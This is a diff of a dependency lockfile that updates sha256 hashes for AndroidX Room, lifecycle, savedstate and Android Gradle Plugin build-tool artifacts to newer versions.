-   "pom": "sha256-Id6ZA7OFAESafBIVSnPS9KZUS8A9rKsH9sv61IdDlSg="
+  "androidx/lifecycle#lifecycle-runtime/2.9.0-beta01": {
+   "module": "sha256-O2BoUD9hEgLJXxx1nV+wbUaVxmcnLZpffTeU7q8RBkE=",
+   "pom": "sha256-BjbpF3E7BXG5NmO9Ju0+9SYv0X6uJP/SMBGbt/U0q5Y="
+  },
+  "androidx/lifecycle#lifecycle-viewmodel-desktop/2.9.0-beta01": {
+   "jar": "sha256-PnnbKgO/W0qQ2O0kHxXp4jEdkQ55oVF8XDFCAiKCHmI=",
+   "module": "sha256-3TV5B8sJeZNkfmQBWojivFLkkMtR5IJmFjtyVF+yhAY=",
+   "pom": "sha256-yb8bvSW+Ou7xB2KO76QrWjl6k13Fnn+XXC/3oxM8jng="
+  },
+  "androidx/lifecycle#lifecycle-viewmodel-savedstate-desktop/2.9.0-beta01": {
+   "jar": "sha256-H5fTzXwqsci5VcD631kpVMatL3rnZnox/j7hF2mXagY=",
+   "module": "sha256-LlU5G6xEJ9ZiKb5Y+/maP5bvKS4xXXPiQoJjHPGkg+o=",
+   "pom": "sha256-vuCLJmcQWN5gFwAX3/XgswxUOnZfqwhwjSLlwS+8BMo="
+  },
+  "androidx/lifecycle#lifecycle-viewmodel-savedstate/2.9.0-beta01": {
+   "module": "sha256-hJXtyNsN75ECpGeymNFuvdI5uT3MDE2mCR7qNW29brU=",
+   "pom": "sha256-PAVrjm1zIJqR1Vx3QcRnj/33CvitbGkogUCUjrIib8o="
+  },
+  "androidx/lifecycle#lifecycle-viewmodel/2.9.0-beta01": {
+   "module": "sha256-Q8vXSiVzDlkAL2njOJPxF6y93bVDKAml6QHo4kwFc5A=",
+   "pom": "sha256-UldouzIXu78J0hXqprnFo6sKgWZjAEnhJ3TxYh6+1QQ="
   },
   "androidx/paging#paging-common-jvm/3.3.6": {
    "jar": "sha256-m6OQ1JxJCDe+xyT+9mBGVJWnMY3oG2kdRjNOvk2Dqio=",
@@ -169,73 +185,73 @@
    "module": "sha256-laMPLlShL85R6fLzDMER+rayFuBB29jCbYZinBi1fHY=",
    "pom": "sha256-QqEut6WreMa24QK2w0SLzhmCfeFj3fwvT6PT9sCjd0A="
   },
-  "androidx/performance#performance-annotation-jvm/1.0.0-alpha01": {
-   "jar": "sha256-jQDt0rDtNUMQF6pZlzl+HdFA1FR/VUYs0YoMYsgX6Ec=",
-   "module": "sha256-lUXtqn9grdo4UabgVusT23S30C7mkk/Ec9cYtcTlSvI=",
-   "pom": "sha256-OUJQciGu1ry4UH6wtx4t4AbCapD6Pwz1Xvk/c5/OQAQ="
+  "androidx/room#androidx.room.gradle.plugin/2.7.1": {
+   "pom": "sha256-VQn08ZPaGZgSM1HuAUHq85m0iIgcFefRauWMZKUo6l8="
   },
-  "androidx/performance#performance-annotation/1.0.0-alpha01": {
-   "module": "sha256-p+/urPLRetxNBttusv/ZkRf/UllUPqjH1vLzbWLawTw=",
-   "pom": "sha256-2iS/vOWDd2juWR/jxTs3X9GFbeXMYPX9OTDffLANuWM="
-  },
-  "androidx/room#androidx.room.gradle.plugin/2.7.0": {
-   "pom": "sha256-jO03tXX2KgGYh6AvgkEd9plwN+69ODbdJRNCh6kjpZw="
-  },
-  "androidx/room#room-common-jvm/2.7.0": {
+  "androidx/room#room-common-jvm/2.7.1": {
    "jar": "sha256-sqALiMi42BDQfsvfkv3/R9t/DqiE7+XDHNp6UmybGuU=",
-   "module": "sha256-spo0zB4zdf2SApU2qych9SCnOxwAAAc5935I684GnrM=",
-   "pom": "sha256-jqAbXXin7uVpeXWrXQ71uKrR+VZtyRWxgHhY9rknC+g="
+   "module": "sha256-jM7UOynWvF0IWZxT1/R9hK3HV3oRc0m4/epGID2IhHk=",
+   "pom": "sha256-u8cvVVmRlceXcXKp3fGZ/d5OwxslhQITrCnutUMm4dw="
   },
-  "androidx/room#room-common/2.7.0": {
-   "module": "sha256-7HbDv4WtRYn9CMNSIAGv+niXDrd3IQfLXgbvYON6dOs=",
-   "pom": "sha256-/NHMaEUFNJFmGFvnQAFSeTMc+tb8gbp6Dwqc5bHYvjM="
+  "androidx/room#room-common/2.7.1": {
+   "module": "sha256-VYuFMAMujgA+oIldJ5ISHmdrGp46DDOu5GDQD5J1eNk=",
+   "pom": "sha256-Fv46v9l2e++3L1HU28+xWAMYpu1z8OMYQCoCP26KFQI="
   },
-  "androidx/room#room-compiler-processing/2.7.0": {
+  "androidx/room#room-compiler-processing/2.7.1": {
    "jar": "sha256-uWCePhQVdZWKAhfe54YQqx5xVwm3XvOD6Fn7lu+wDfA=",
-   "module": "sha256-r+YNX3hAYJyB8/eNj+iJmkdUfZbSh4S9Don0d3WIM3U=",
-   "pom": "sha256-re9BpiiLw/dND2YQ/kaZzO8QCpCk85Xbcm6kke6mDRI="
+   "module": "sha256-z8zl8HUBhDKr5WCdT/b0B1c+iSdgwnToVpUqVvPy2Ok=",
+   "pom": "sha256-IPQQ8ZNy2BVuzo7k8hdyEPw1dMTA1wkbXlBGY6uH6zk="
   },
-  "androidx/room#room-compiler/2.7.0": {
+  "androidx/room#room-compiler/2.7.1": {
    "jar": "sha256-2QjokrEGOdKTIOpNZL6hxAPgVYKhY1mFVtXqI+sEsM0=",
-   "module": "sha256-GdNDFFyug3uwErJLIjLamd/3c/3txYWIpofScOA6HWM=",
-   "pom": "sha256-I0WACHZFgR4KU5COgKdbp5rRq+SHuAx2LfUAv59sCis="
+   "module": "sha256-Q0Sz/PIKLq41DDfhDzHybhQodcbhZLT28NIHkPTo88M=",
+   "pom": "sha256-RM4J0BIcbgHYt0txvFuv4xT93SZzmBKeapCbby3P3ec="
   },
-  "androidx/room#room-external-antlr/2.7.0": {
+  "androidx/room#room-external-antlr/2.7.1": {
    "jar": "sha256-a/eUv/6N4mOCZQJRG0x98FcDErbMmTEsp/xr2wiAyh4=",
-   "module": "sha256-MWfDNMTvWzrm9Hz/Xc1gFBGoeZwNkF/go7ajUoxhfSE=",
-   "pom": "sha256-32NsPDSZkkgDFp8ogHawWP1sDwcFsIdXYvu5K9FtTkA="
+   "module": "sha256-t4QQjwQnT3Xuxx+dfcOKDEHxC1sX74/JfMgcFEeFB4M=",
+   "pom": "sha256-rl3F23kBLamXUURQJ1bU3f3qAm8umTQk9JT6kickIfw="
   },
-  "androidx/room#room-gradle-plugin/2.7.0": {
+  "androidx/room#room-gradle-plugin/2.7.1": {
    "jar": "sha256-WGQDSy8Jp8aqbeKTYYpbO89705g9eSwWZRTeR6hKGo0=",
-   "module": "sha256-SJ6pyGRF5MjsvLSN6d/pU07e2ssp07IkuDg6+PvfDb4=",
-   "pom": "sha256-gtTxMUDD52vJq3mo+8RpY24RGCLZL+T+dA3WjZSoYkQ="
+   "module": "sha256-leIK2JvhtWRv3fLW4V61lJ0AzMoxOvH2Nt/mh68xoj4=",
+   "pom": "sha256-PGqFy/xKroEXHosM8L4ynEMnXUV5aka5P1Tt6BKLBRc="
   },
-  "androidx/room#room-migration-jvm/2.7.0": {
+  "androidx/room#room-migration-jvm/2.7.1": {
    "jar": "sha256-jFzsjy1docuf3pYP3SJTu/xr50+aSgPs24LaF2YiMaw=",
-   "module": "sha256-I8rhKFYmQ1YmBrTgdWsM3JJWSyp7tYQvf9BOsJsQgcA=",
-   "pom": "sha256-BxT33w6jjXRHmxSpQr/08kYsR8jxixPJZa8VX8+rmic="
+   "module": "sha256-HFixuNcIlfhh/ZExlI25r3T7ia22gpQFEjxLC/CWjyQ=",
+   "pom": "sha256-xvpy82Dlfp3a5HdNs3QcZoazY/21DjXyY8c8ZVAgKdc="
   },
-  "androidx/room#room-migration/2.7.0": {
-   "module": "sha256-DE8cr5FSvrgFxHMbHsKc+0kdPlA881uSPR1S1XSmjUg=",
-   "pom": "sha256-9p246bQJHRqqYz8+kT5YNiBL2n34v3kFZH527U8g2C8="
+  "androidx/room#room-migration/2.7.1": {
+   "module": "sha256-mZtTP3SbkiCaIsyUMkR8IKPPJj/VAfyzoxoCAWohSwA=",
+   "pom": "sha256-mGi65DJz9Y/GgzxrhmvkTt7VpSGRFFqiGIxABeV0F80="
   },
-  "androidx/room#room-paging-jvm/2.7.0": {
+  "androidx/room#room-paging-jvm/2.7.1": {
    "jar": "sha256-sk4d9SMJ87PYtjte4pRxJKSBwNeRneu9A04eH+2PoTg=",
-   "module": "sha256-rEo8iiqO6QHutUnCYUydLpFEqb4MBDcdYn3ENOv5nek=",
-   "pom": "sha256-2TdAJljNPTJti6QlulPwX+gQcqZsH+NbKmvXCHth3fA="
+   "module": "sha256-HSMuv2r2H+FV6Yo+fdbkTXgmRwiYB0GGOHvrlsaY/hE=",
+   "pom": "sha256-u28aknn8NEaXKJL6/rV+i11nw9hsFbhCfEGd6l8t5ZQ="
   },
-  "androidx/room#room-paging/2.7.0": {
-   "module": "sha256-rtb2GsbL168Mo1ojygUDCrc9S04ezPXWrp03gLHRkf0=",
-   "pom": "sha256-G7J547FpfmE4KmYFc34hvstU0xDHClTpuPaqd0ZkhQ0="
+  "androidx/room#room-paging/2.7.1": {
+   "module": "sha256-dwHhMiNJjty0jIZ9SksJ0MzVARbv4g8OIapIxLRQn20=",
+   "pom": "sha256-18mRHcU5+4Ot0Z/u7EaPs4F8qtvnwnxSbnHItGY/xb4="
   },
-  "androidx/room#room-runtime-jvm/2.7.0": {
-   "jar": "sha256-REhdvgDmROk7ZMVw7zuAhOJqJezyPTBUcglZlN0SOCw=",
-   "module": "sha256-nEzKxPSjcjzMYYFO6b33cDuWDXx9QFbLIkI0TZhqnVc=",
-   "pom": "sha256-inWvKB1RJ5Er9JyRUbHG8V/HhI8+kvO4U2Q9/itqJKY="
+  "androidx/room#room-runtime-jvm/2.7.1": {
+   "jar": "sha256-y9E2e9/UC8Gauq5kjIoAu2pK/d4GMFa0uoK6F4g3r88=",
+   "module": "sha256-qh6r3l9Y25ZFggqcPXWhSV+B1XaEJfm9L3upeV3+BBI=",
+   "pom": "sha256-7lg8DP2n9J7QGed4pcViPUGRfra5tTZaCTIqPkkTlo0="
   },
-  "androidx/room#room-runtime/2.7.0": {
-   "module": "sha256-hFvOPtZrDS3j59zXLIWeCw7+KV7+DStX6f4ptheteWQ=",
-   "pom": "sha256-n/HDkKw80IGMI6ARZ2ubg+Pi3b0bZKRXYfBdABPxGvA="
+  "androidx/room#room-runtime/2.7.1": {
+   "module": "sha256-t22KSPR2jqefWMhPLgIFjGzsgYFTjujHcswd7zpwWzA=",
+   "pom": "sha256-O/BknKjAsoPd3Z4glG8Cr8IZWoUkW31AdCC3ADhztrE="
+  },
+  "androidx/savedstate#savedstate-desktop/1.3.0-beta01": {
+   "jar": "sha256-5420fy2C4PnfkNyagjo3Y2hKS4dpsw18U2Wtz1w36I8=",
+   "module": "sha256-XLg7G6NxNU+NSGiSNRsYbbDcQ1DoEVnMmT0OO3YrfMI=",
+   "pom": "sha256-c9NNJVYsYyHaYBcVizfLwQGM3KQi/cT4SrnfwWt5OeU="
+  },
+  "androidx/savedstate#savedstate/1.3.0-beta01": {
+   "module": "sha256-cSXarKYzWh7ecm8TpMkpqTdKar88PLgUMk3/kBomPuM=",
+   "pom": "sha256-Ef9nMkmCADvCHHui44422EwMWI1R2wF3VjQvOL5G3gk="
   },
   "androidx/sqlite#sqlite-bundled-jvm/2.5.0": {
    "jar": "sha256-vXvOYFl1Dj/2KpKNi7z3y2Jwqu8eI5V6reZXcH4a22M=",
@@ -255,120 +271,120 @@
    "module": "sha256-NplIHJ/Fh59CvG9fIv/8tuXSP3WGLmbwB+/2MdcWl3k=",
    "pom": "sha256-rT9uj0qsJCjS/sbcmYdgBKmLeI0EEKj0sWmrV4JtVj8="
   },
-  "com/android#signflinger/8.6.1": {
+  "com/android#signflinger/8.9.2": {
    "jar": "sha256-wdyixoNjTuGilCmPnHF5V4r2qG4IC9xA+WGRW8XIFC8=",
-   "pom": "sha256-HxZNAt/iuj4BXQLj8kgg3iRlktkX8eAPkaGnaTYa+Z0="
+   "pom": "sha256-YDBz00i1K7CgQ9HI9pStLNP6xryJJlciTJ534ZYK3ck="
   },
-  "com/android#zipflinger/8.6.1": {
-   "jar": "sha256-gd1IVhilCaMjWSm56xMJHYhEUmYd5s5aRcw4scVVQhw=",
-   "pom": "sha256-5R3NgXBmVPdF4UHUUxw3lY3xrEfunNdWISvWGndYx0U="
+  "com/android#zipflinger/8.9.2": {
+   "jar": "sha256-uh8yqiVavk2rZlcd2RlTBdMCfyYfn09GWJizDN/9CbM=",
+   "pom": "sha256-PPYmubFe7pb+fqzI9ZsEFqwKZHzRT2uaC9bAHRH643I="
   },
-  "com/android/application#com.android.application.gradle.plugin/8.6.1": {
-   "pom": "sha256-NnATbXn6gs8BrM3gQBObBgLTl+nwo3RVm6lvLtWW2Ws="
+  "com/android/application#com.android.application.gradle.plugin/8.9.2": {
+   "pom": "sha256-0If9g+lc06ETaKo39Me3+Liw/EjNxRyErjZlcWRjAQw="
   },
-  "com/android/databinding#baseLibrary/8.6.1": {
+  "com/android/databinding#baseLibrary/8.9.2": {
    "jar": "sha256-eUETcJ2rIbBsJis3lec8twj7rK5hcV80Nh4a9iN6GHA=",
-   "pom": "sha256-Lek/tvpLtdFPC53HpfcM+MJxM7aJ31tHyf5K+ZcC/sI="
+   "pom": "sha256-UaC2oKbIY06J9g11nEhTmIQPGP0fh5Jz3MGgUr/AsQo="
   },
-  "com/android/library#com.android.library.gradle.plugin/8.6.1": {
-   "pom": "sha256-bfpZ48HmjapL4RvLUNueWbh1ikieqUa38d3FscST17o="
+  "com/android/library#com.android.library.gradle.plugin/8.9.2": {
+   "pom": "sha256-Po1T0r5IrxZq4zoD2JUHZqiagK13cHzHNDMUT2M5AdY="
   },
-  "com/android/tools#annotations/31.6.1": {
+  "com/android/tools#annotations/31.9.2": {
    "jar": "sha256-slmV+nsiDTX7uOMl3wcfgpFpG/uv+XNMmOOPRewqc+4=",
-   "pom": "sha256-IWRj0T6tv+FyrXle/98/hWYWFLvK0xWyIBs4z9h8650="
+   "pom": "sha256-onUUfoStHjVjh0Qrt5pp8z6YuyTx2o0y+P5sYb3is0c="
   },
-  "com/android/tools#common/31.6.1": {
-   "jar": "sha256-SSGmYQvyjwKRHrfW4bpJjbmIhOXyM+VScmGaCEG9THk=",
-   "pom": "sha256-bc+djIuiKoCXnRZ3UceVp790AgJ5J+DQAVS2SVQGcY4="
+  "com/android/tools#common/31.9.2": {
+   "jar": "sha256-Krr2/FWQVA3lmHGcRwe/GuBM5/7wsYDEpOc3jOXugyQ=",
+   "pom": "sha256-pYPoeaqmTv06BsYG+a7/RJcEfby67krwbGTvL+13msg="
   },
-  "com/android/tools#dvlib/31.6.1": {
-   "jar": "sha256-XMxJAlggKFBjDFnuy50ppshJuxfxD0ypAX22SfcuSB8=",
-   "pom": "sha256-za6RmOnCv5LJRoOwCdaq2DENFPYlB+XtUrWPkzaaFdA="
+  "com/android/tools#dvlib/31.9.2": {
+   "jar": "sha256-488/3JR3iN7o1bqnbLcqZlcRdLxHQe3w47q5enypDhs=",
+   "pom": "sha256-JMVv4BDhcjGTX8gbnp94PahptlXUh4wQhyZ8/C5jHBU="
   },
-  "com/android/tools#repository/31.6.1": {
-   "jar": "sha256-FpwueneqMJeIedv4swQ2ZxFlhy/L392mxzWq3bZxA0A=",
-   "pom": "sha256-Wy1SZioiTKSQkY2NBO11pwKijjKk3M059fQHjDuAvmc="
+  "com/android/tools#repository/31.9.2": {
+   "jar": "sha256-7nMxExttgNyD6n14+2YAhHMAcz8pZNGIYXCcTSMHXgg=",
+   "pom": "sha256-sIKbRfpt3NhN33+AKlXCPuLfvSfeOEkF2q7WABn0+Ww="
   },
-  "com/android/tools#sdk-common/31.6.1": {
-   "jar": "sha256-rWbuxoXuvi5q5DA+cMifcjF/p9jMKznjb9+oZFoiYP0=",
-   "pom": "sha256-jGPiQ8FUZMUpy8d0RExbQLCvEBhvI6wLYJxdH5LxU5k="
+  "com/android/tools#sdk-common/31.9.2": {
+   "jar": "sha256-iUOli2esf7GgMh56Uqh8+q7CSNORJTbD1yio3Acf/yQ=",
+   "pom": "sha256-rF33kRmIa8ypyJOxB01tfS40q79eJ/lLSmRpjsM24Y4="
   },
-  "com/android/tools#sdklib/31.6.1": {
-   "jar": "sha256-MaLhQQus1+ikZH45fM+RS2hrMjIpbkIpEo47rZZwbiQ=",
-   "pom": "sha256-t811xH6Y3EkY4FmdmhQgL2ymw1jQwhRTL7syF2cVBGg="
+  "com/android/tools#sdklib/31.9.2": {
+   "jar": "sha256-7p2BGH2rl5AGQMQeKuMMDrr0Vy3Van1+NER8k9eUwv0=",
+   "pom": "sha256-thqvhTgkAS5UphseDLVdNpSl94gyPLj0xu2gLAINo3A="
   },
-  "com/android/tools/analytics-library#crash/31.6.1": {
-   "jar": "sha256-LFwmQglnZ1wHS8cUCDH+O/9burx/u8CLop/cPq3MlRA=",
-   "pom": "sha256-NvqCjh3SQRZx/J6x0GEMMnsuvnMEkHDq4TTa/B6Es+Y="
+  "com/android/tools/analytics-library#crash/31.9.2": {
+   "jar": "sha256-zKl6wpoTKb0xCj6DK25X9GIn5QGqUpwApj3yF8XX30E=",
+   "pom": "sha256-y9YGOtZEHJ+tkwRxs1sMONvx6Q4/6s14r5ssoMep2VY="
   },
-  "com/android/tools/analytics-library#protos/31.6.1": {
-   "jar": "sha256-DNE93twi3+NTWkxq3FZNH8OA9pXdH9dM8CEwxRDPtXM=",
-   "pom": "sha256-+Yz/nvLEIr1Qwd8C/LAqFpUrZSpq5dyxKUTM71DBwLA="
+  "com/android/tools/analytics-library#protos/31.9.2": {
+   "jar": "sha256-3SDU5HyokLfDUvb3PIfCLxTCGAg/Hl662cAT6Lp+SvA=",
+   "pom": "sha256-lX+kPaYmjfl+W0pfe20R9VWi8cYp4f1fu28YKq7+430="
   },
-  "com/android/tools/analytics-library#shared/31.6.1": {
-   "jar": "sha256-GI7Dy4ge1lXfkxHMWHAdyzKZc2UAToqmhUrPtg9uNeE=",
-   "pom": "sha256-jSxpFb90fFudanGXtCcFXXnMACySZqkOvMLeIyt8F64="
+  "com/android/tools/analytics-library#shared/31.9.2": {
+   "jar": "sha256-ONP9oaxMsPiXSkho2hNhoDz6uTDlLlcp2Zut5AOCRZw=",
+   "pom": "sha256-RMCeR+YqYU0h3rLdzbVUzck07LR0zi9mwhfu4eo6pSg="
   },
-  "com/android/tools/analytics-library#tracker/31.6.1": {
-   "jar": "sha256-fo9FqtqL7accKXbBXxoxbqoA/UqWgyITEc7SvbwCZAg=",
-   "pom": "sha256-ZG+eNf6Hg+tmaOcON9/3yNQWLu0ZGXzeLKQZXyp32f0="
+  "com/android/tools/analytics-library#tracker/31.9.2": {
+   "jar": "sha256-D8VeTSFfSwIdiBFyrO+CRkBh2WLf67EToFQNxwRZKOU=",
+   "pom": "sha256-ataFwxA9RS72RDWL5tuN7Rxo6XOAf1Q27nVbqnrFyI0="
   },
-  "com/android/tools/build#aapt2-proto/8.6.1-11315950": {
-   "jar": "sha256-95NZqIrRc08kmq3KiGgHshXyYFVUnCLzTc6pojE9FOo=",
-   "module": "sha256-lJIZIVzqn+pESWzhbsPEczrj8Wp5dT7swK3SSxG8i0M=",
-   "pom": "sha256-1CRPdNhw+GpIBkVdAW+5IVtIKJH4omliEBG908ttgyU="
+  "com/android/tools/build#aapt2-proto/8.9.2-12782657": {
+   "jar": "sha256-z7r7m17Us65mbPCFldT8tXhP9bLzEtmCyjeLfw5Hva8=",
+   "module": "sha256-CWtyT8l42WZnqecMu6+VS3+w1UZJ4MmujBbDqE5ZRaI=",
+   "pom": "sha256-+MizTLAiuLMMs161PV7d8dOLhNQqNWKEy3hTy+zYIZ4="
   },
-  "com/android/tools/build#aaptcompiler/8.6.1": {
-   "jar": "sha256-fhn/PUfDvZs5JZbXFSKvckBT7ypf/iazn1sw6B6Ig6E=",
-   "module": "sha256-0iUxrbUzYh8DC4UMxyzgGBbF4qEcKfEPr0hiFwFLOO0=",
-   "pom": "sha256-Dt08VAlDjvWKPt31D6OygjTLLLdat/ththA2I3qdhhY="
+  "com/android/tools/build#aaptcompiler/8.9.2": {
+   "jar": "sha256-ILh6uQSK6T/V7rhRVjMzvGEt/JqBm4HGsRaL1gDV4WA=",
+   "module": "sha256-EOk1LZ5TvpiHfkYLt0jY9i2OXa6dGzPqbYuwp9qw5a0=",
+   "pom": "sha256-UOP2bTQp0q4aHyKnXPW2vZVCmPFgHHXEtDvS6u1iZqY="
   },
-  "com/android/tools/build#apksig/8.6.1": {
+  "com/android/tools/build#apksig/8.9.2": {
    "jar": "sha256-wHDtE5RinXRkGqCQb2Cy/6Hud+Y2ah+TQ39ZcXsa64k=",
-   "pom": "sha256-Y2IgqwyxLrjpsO9Y9Hje/wQ6+1rI+pwOfjCIxaNFtzc="
+   "pom": "sha256-vtJW6u3CA6srY0zwpIxMnc/x/br5n6hfUfgYrEqN+/M="
   },
-  "com/android/tools/build#apkzlib/8.6.1": {
+  "com/android/tools/build#apkzlib/8.9.2": {
    "jar": "sha256-HBpn1vTxhkJ6wWbrqg3YZ/WV1RRPySUlKwX/udGhVrc=",
-   "pom": "sha256-+A/Fp631hgvcxti+aqP1Wk+HkwmZGFYN02l6sWjxbTY="
+   "pom": "sha256-FesZP5vGCf2/co4u81Sgo0wKBEOSwy6YMNcpA/s5xdw="
   },
-  "com/android/tools/build#builder-model/8.6.1": {
-   "jar": "sha256-UW4P83gUFTJoP7OxbLDnFRe/izU4jCeXb6kGhyiahFg=",
-   "module": "sha256-oeBqW8yyM+dvrU838ONRwEtvnOs+PRiNwMWSaYJBtOo=",
-   "pom": "sha256-CwbNfNpMYeDszj94IZgV1bdHSb3fVnab/yNFAim9Fa8="
+  "com/android/tools/build#builder-model/8.9.2": {
+   "jar": "sha256-TJ0UyS4ltee/Ikhb+86zD/Fdhf4x/um3727TmhcieZ0=",
+   "module": "sha256-Q4lzbHT5LI8gt2MdP2ufxrB/4PhkzhXrFNnTS6plftU=",
+   "pom": "sha256-vXDdwEm3RxsMtfhXf7LdZEi5xuM/zeOdKqF2W/erZRw="
   },
-  "com/android/tools/build#builder-test-api/8.6.1": {
-   "jar": "sha256-joChV9NorfAWKfWjBseP7R+x3M7uYcRXla4gfZG9q0w=",
-   "module": "sha256-dCvKxrVZ0bXunzxiNmtEJXoFDMd/OSUrh1769zww9ks=",
-   "pom": "sha256-PaWDrQnaoX+K8N90eIrkO7FBfEAqAKELcjEbsIEWs58="
+  "com/android/tools/build#builder-test-api/8.9.2": {
+   "jar": "sha256-zIsDponVnA3MmYxRauZicM86V3f0QdcbjFJyxyCQc2M=",
+   "module": "sha256-Fi6Q4O3VBMMozoCNOV1S2ClmEsxNvmqP2kaYoul7JFI=",
+   "pom": "sha256-chAmm1dmJm9eCxwdPFrszeddDT/vZGki4feYnusfjvM="
   },
-  "com/android/tools/build#builder/8.6.1": {
-   "jar": "sha256-vE7pSfTulTgcg1SH67axlkiJ1hBLAyOXln2ItPIG5I0=",
-   "module": "sha256-RYhYJQ9RO//baGrO0ACo2s3vkSvQkXlbQF13TpuZSfo=",
-   "pom": "sha256-Q5TYmYx2pslZaYSNasSzBOaunYwdy6dJ+wuiODezZFQ="
+  "com/android/tools/build#builder/8.9.2": {
+   "jar": "sha256-fcHTbRLugTAMWxZyqq4zbRw8/pCnsmsrVROJYEFQ5Ts=",
+   "module": "sha256-scTasNhSK8A0SjE+s1xq8WTjGsjDyP1H8AvezL/8Lq4=",
+   "pom": "sha256-fGit2zzfoN0kcpa1sM29GvD9PqtXdahpl3aEXUk9Ssg="
   },
-  "com/android/tools/build#bundletool/1.16.0": {
-   "jar": "sha256-HqK/UnS7rHo7tWGFIdL6EfsE6QDjOopkYCnsYzL8CMg=",
-   "pom": "sha256-8uiq1EVaQjckYtXhiiaXPWdXEXmmdX84JfIn6Rry8ts="
+  "com/android/tools/build#bundletool/1.17.2": {
+   "jar": "sha256-FmhVy4HhDyMoopMQBvSAH0Itj03l1xfsD38W/CBJoIk=",
+   "pom": "sha256-80LQa1GA5uq6B2oqGKjn/Waum18EiWSvtu9CoCP6N1I="
   },
-  "com/android/tools/build#gradle-api/8.6.1": {
-   "jar": "sha256-B/dr8vj3svN2zIbqvU+KgnkYK2Vw9EDnhD0GbwLF9VY=",
-   "module": "sha256-KZXYqt4hXuoOQg5PM9v2RKC4pHxkaT5AfCzFdFra7LM=",
-   "pom": "sha256-GdPcq6tb3TEhEcywDXVL8U0rtG+5xe34fuEor8awjuY="
+  "com/android/tools/build#gradle-api/8.9.2": {
+   "jar": "sha256-tjYiEQ8jmwLJFVoyxnqnv3x6/lSVfvLJYeOjJ3xNso8=",
+   "module": "sha256-im+ZKdf1J1f8KP89GXNZ8zn5F8wY0rFehzCzc0C3M54=",
+   "pom": "sha256-ZPReltmRGhJLeaUYErLVS0L8PYTS4+JikmVBpxjygTI="
   },
-  "com/android/tools/build#gradle-settings-api/8.6.1": {
-   "jar": "sha256-fKfb0L6RIEeJkOJfuDzwg6P8ebypZE4kfMVUY1jOKYI=",
-   "module": "sha256-qzNDgysjM4ATShFTOlRaKo+3GLboSDxtkmMEETNZB74=",
-   "pom": "sha256-NOp/ZQ+mdHYwCvsxWAIFF4fOfztRDY082faDycpqc8I="
+  "com/android/tools/build#gradle-settings-api/8.9.2": {
+   "jar": "sha256-qUVLXR2xngBJB6FtJsCCt39XfK3Dyof9PkP2g0tngqU=",
+   "module": "sha256-0OHNJ4mu+7ee3amVXnrm3bMcBHEIdPlidGpRbk5kv2s=",
+   "pom": "sha256-a4JTPPiCxXGWT53cN4b9Lid3ZDF13zTeayOvPwhMzlM="
   },
-  "com/android/tools/build#gradle/8.6.1": {
-   "jar": "sha256-lpdzOiFfLtQuWy/EBTSE7IMuqylYTrztlNkskQkAUcE=",
-   "module": "sha256-KYi7+h3QeXxNVkLISB5RMAMNuTKahKacPoVKmpmUBQU=",
-   "pom": "sha256-N4nZdy0Ai/FRwZ9rgaRCwv/NZUpXq0k/n664frPY0Eg="
+  "com/android/tools/build#gradle/8.9.2": {
+   "jar": "sha256-bDE9JNB6w5PPx9tdY8UCnn0gsnh4HEKy0irfm8x9ujA=",
+   "module": "sha256-BI8yjPHVbx5S1xvn0BFcXJqQCt1QyTkCnIYnXgvKOLk=",
+   "pom": "sha256-l3GRhK76k9PF6ClsOYYFMiJ7iAGjTHM3bA2dDbeqVYA="
   },
-  "com/android/tools/build#manifest-merger/31.6.1": {
-   "jar": "sha256-qpY9SvRasDHFcHg86ShtIRHusLjDvfROSMqQcUzMt1Q=",
-   "module": "sha256-WrgUxcYq6ApgHpOLUxOcEPFKicMKVWPFCsRSeHNxsPY=",
-   "pom": "sha256-yTK9b/FjMsbpwsLtTK/2+/aUBxhTCpByB/t4KV38qLo="
+  "com/android/tools/build#manifest-merger/31.9.2": {
+   "jar": "sha256-ZmN0mzQYIyfBX6XYiPhotGd2XRlzBil4n+3T/4xARJI=",
+   "module": "sha256-Cd90HLOZJYfhT/DPqU29/XIYneLO9747iYlhj04TUgo=",
+   "pom": "sha256-kzqfKUVx5T8XTgVqHfO458CthwZIIHKRDwHhebl48yY="
   },
   "com/android/tools/build/jetifier#jetifier-core/1.0.0-beta10": {
    "jar": "sha256-Jqu0oTkn2QYhacUEyelP6A6a46T3tauIdasAdTapH14=",
@@ -380,61 +396,65 @@
    "module": "sha256-NsJVdrGZk982AXBSjMYrckbDd3bWFYFUpnzfj8LVjhM=",
    "pom": "sha256-M7F/OWmJQEpJF0dIVpvI7fTjmmKkKjXOk9ylwOS6CEI="
   },
-  "com/android/tools/ddms#ddmlib/31.6.1": {
-   "jar": "sha256-xXHAIk/j5+ZgcZbZXMMUL9wZ8BPo8VEPaMe0pobFOAk=",
-   "pom": "sha256-NhGKNIRO8zU7wHiko/RwiEI0KK1q0ejNStAVV6Ka6Ok="
+  "com/android/tools/ddms#ddmlib/31.9.2": {
+   "jar": "sha256-nNyiBuCPvB8B2qGg1k6tKmK4zMWUFWn1GB4n5Kb1+6A=",
+   "pom": "sha256-ehSXY9SGGg8ZQJxxS54S6xv52CiKtkIMghTs8WAnNzk="
   },
-  "com/android/tools/layoutlib#layoutlib-api/31.6.1": {
-   "jar": "sha256-mLrjb/BR4RTdTu9e/6gPvl5VKUT0IzzokhYNos2e6u0=",
-   "pom": "sha256-7NQxU4aAO6nUO2e4+myS8EkERQHgRdMvQmDZP5yaajA="
+  "com/android/tools/layoutlib#layoutlib-api/31.9.2": {
+   "jar": "sha256-KSMuYAdiW1aegnmNLY9VnYlB7OYw/iduhCzYGOv5Sxc=",
+   "pom": "sha256-atABzvfVis+rA851PdRal8KGwwdcCf1D39RCXh5m/uQ="
   },
-  "com/android/tools/lint#lint-model/31.6.1": {
-   "jar": "sha256-O7YYb3ddznoQY5HiS8w8jScLzN8vVRuSFhxq3AvC7N4=",
-   "pom": "sha256-1YuNHgi4YrbKf3M/pbGQszNZViI+ZGV9SoxCw1PRVdY="
+  "com/android/tools/lint#lint-model/31.9.2": {
+   "jar": "sha256-/Vx9Zgnqot9h3uIN/tRkByg44G0vsugvQ0qOC5eGM3Q=",
+   "pom": "sha256-iVi1l72YliYSm40EHp3DXtRI5EnIjAbQXzOjsEhJVH8="
   },
-  "com/android/tools/lint#lint-typedef-remover/31.6.1": {
-   "jar": "sha256-W09IUhXKTYbvIxn8OYtfIlHmL1RGvF/Q4AZTZI3d4xg=",
-   "pom": "sha256-dk7anwlKi4/gldYIdZl6hhwiekbfspnUdJ9ook3e4MM="
+  "com/android/tools/lint#lint-typedef-remover/31.9.2": {
+   "jar": "sha256-Sjujur/Xnm/Ge872R/tOz+r1m0gbEI98LrpNHFxt6o4=",
